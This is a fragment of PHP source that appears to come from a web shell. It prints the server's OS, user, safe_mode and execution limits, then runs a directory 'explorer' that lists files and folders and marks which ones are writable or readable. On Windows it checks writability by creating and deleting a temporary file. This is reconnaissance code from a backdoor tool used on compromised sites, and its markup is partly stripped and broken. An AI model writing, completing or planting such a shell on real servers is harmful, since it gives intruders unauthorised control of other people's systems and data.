OS: {$os_name}
User: {$user}
Server: {$server}
safe_mode: {$safe} execute: {$execute} max_execution_time: {$limit}
|
~:(expl0rer):~
here;
if($dp = @openDir($dir)){
$cObj = readDir($dp);
while($cObj){
if(@is_dir($cObj)) $theDirs[] = $cObj;
elseif(@is_file($cObj)) $theFiles[] = $cObj;
$cObj = readDir($dp);
}
closedir($dp);
}
if(!empty($theDirs)){
natcasesort($theDirs);
if($os_type == 'nix'){
foreach($theDirs as $cDir){
$color='black';
if(is_writeable($cDir)){
$color='red';
}elseif(is_readable($cDir)){
$color='blue';
}
print "<".$cDir.">
";
}
}else{
foreach($theDirs as $cDir){
$tmp = $cDir.'/.ssps_tmp';
if(@touch($tmp)){
$color='red';
unlink($tmp);
}elseif(opendir($cDir)){
closedir();
$color='blue';
}else{
$color='black';
}
print "<".$cDir.">
";
}
}
} else print '
open_basedir restriction in effect. Allowed path is '.get_cfg_var('open_basedir');
print '
';
if(!empty($theFiles)){
natcasesort($theFiles);
print '';
foreach($theFiles as $cFile){
$size = file_size($cFile);
if($fp = @fopen($cFile, 'a')) $color = 'red';
elseif($fp = @fopen($cFile, 'r')) $color='blue';
else $color = 'black';
@fclose($fp);
print '| '.$cFile.' | '.$size.' | ';
}
print ' ';
}
print<<
|